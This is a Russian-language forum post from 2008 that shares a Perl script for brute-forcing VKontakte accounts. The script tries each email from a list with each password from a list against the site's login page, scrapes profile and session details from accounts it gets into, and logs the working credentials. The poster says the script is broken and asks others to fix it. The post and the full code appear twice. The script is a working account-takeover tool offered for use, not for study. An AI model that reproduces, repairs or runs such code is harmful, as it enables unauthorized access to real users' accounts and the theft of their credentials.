GAVVVR
02.05.2008, 19:02
На одном форуме нашел брутфорс для контакта на перле
#! /usr/bin/perl -w
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use HTTP::Cookies;
#Список email
my $ml = 'emails.txt';
#Сбрученные аккаунты
my $fname = 'good.txt';
#Несбрученные аккаунты
my $fname1 = 'bad.txt';
#список паролей
my $psw = 'pass.txt';
my $control = '-1';
my %example;
my (@data, @data1);
printf "Starting...\n";
sub submit_query {
my ($file, %query) = @_;
my $user_agent = LWP::UserAgent->new();
my $cookies = HTTP::Cookies->new;
my $cookie_jar = HTTP::Cookies->new(
file => 'cookies.dat',
autosave => 1, );
$user_agent->cookie_jar($cookie_jar);
################### #############################################
$user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent);
######################################## ########################
my $request = POST
$file,
[%query];
################################################## ## ############
my $response = $user_agent->request($request);
my $res = $response->as_string;
####################################### #########################
if($res =~/<div id='error'>/ )
{
print FILE1 "[!]Wrong password: ";
$control = '0';
}
else
{
my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php");
my $response2 = $user_agent->request($req);
my $res2 = $response2->as_string;
if($res2 =~/id="percent">(.*)%</)
{
print FILE "[rate=$1]";
}
if($res2 =~/percentGold">(.*)</)
{
print FILE "[gold_rate=$1]";
}
$req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php");
$response2 = $user_agent->request($req);
$res2 = $response2->as_string;
if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";}
if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";}
$control = '1';
}
}
open(DAT, $ml) || die("Could not open emails file!");
@data=<DAT>;
close(DAT);
open(DAT1, $psw) || die("Could not open passwords file!");
@data1=<DAT1>;
close(DAT1);
my $time = time;
my $start = localtime;
printf "Vkontakte brutforoce\n";
printf "Started at $start\n";
foreach my $mail (@data)
{
chomp($mail);
foreach my $password (@data1)
{
chomp($password);
%example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password);
open(FILE, ">>$fname") || die("Could not open $fname\n");
open(FILE1, ">>$fname1") || die("Could not open $fname1\n");
submit_query("http://vkontakte.ru/login. php", %example);
if ($control == '1')
{
print FILE "$mail : $password\n";
}
else
{
print FILE1 "$mail : $password\n";
}
close FILE;
close FILE1;
}
}
$time = time-$time;
my $end = localtime;
printf "Completed at $end\n";
printf "Time Elapsed: $time sec\n";
Только он что то не так работает, либо это вообще не брутфорс. Он весь результат списывает в good.txt. Возможно даже и хороший. Кто может исправить это дело??? :confused: Я то не шарю в программировании, а брут вроде как неплохой. Доделайте его кто - нибудь, если это возможно :rolleyes: ...
#! /usr/bin/perl -w
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use HTTP::Cookies;
#Список email
my $ml = 'emails.txt';
#Сбрученные аккаунты
my $fname = 'good.txt';
#Несбрученные аккаунты
my $fname1 = 'bad.txt';
#список паролей
my $psw = 'pass.txt';
my $control = '-1';
my %example;
my (@data, @data1);
printf "Starting...\n";
sub submit_query {
my ($file, %query) = @_;
my $user_agent = LWP::UserAgent->new();
my $cookies = HTTP::Cookies->new;
my $cookie_jar = HTTP::Cookies->new(
file => 'cookies.dat',
autosave => 1, );
$user_agent->cookie_jar($cookie_jar);
################### #############################################
$user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent);
######################################## ########################
my $request = POST
$file,
[%query];
################################################## ## ############
my $response = $user_agent->request($request);
my $res = $response->as_string;
####################################### #########################
if($res =~/<div id='error'>/ )
{
print FILE1 "[!]Wrong password: ";
$control = '0';
}
else
{
my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php");
my $response2 = $user_agent->request($req);
my $res2 = $response2->as_string;
if($res2 =~/id="percent">(.*)%</)
{
print FILE "[rate=$1]";
}
if($res2 =~/percentGold">(.*)</)
{
print FILE "[gold_rate=$1]";
}
$req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php");
$response2 = $user_agent->request($req);
$res2 = $response2->as_string;
if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";}
if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";}
$control = '1';
}
}
open(DAT, $ml) || die("Could not open emails file!");
@data=<DAT>;
close(DAT);
open(DAT1, $psw) || die("Could not open passwords file!");
@data1=<DAT1>;
close(DAT1);
my $time = time;
my $start = localtime;
printf "Vkontakte brutforoce\n";
printf "Started at $start\n";
foreach my $mail (@data)
{
chomp($mail);
foreach my $password (@data1)
{
chomp($password);
%example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password);
open(FILE, ">>$fname") || die("Could not open $fname\n");
open(FILE1, ">>$fname1") || die("Could not open $fname1\n");
submit_query("http://vkontakte.ru/login. php", %example);
if ($control == '1')
{
print FILE "$mail : $password\n";
}
else
{
print FILE1 "$mail : $password\n";
}
close FILE;
close FILE1;
}
}
$time = time-$time;
my $end = localtime;
printf "Completed at $end\n";
printf "Time Elapsed: $time sec\n";
Только он что то не так работает, либо это вообще не брутфорс. Он весь результат списывает в good.txt. Возможно даже и хороший. Кто может исправить это дело??? :confused: Я то не шарю в программировании, а брут вроде как неплохой. Доделайте его кто - нибудь, если это возможно :rolleyes: ...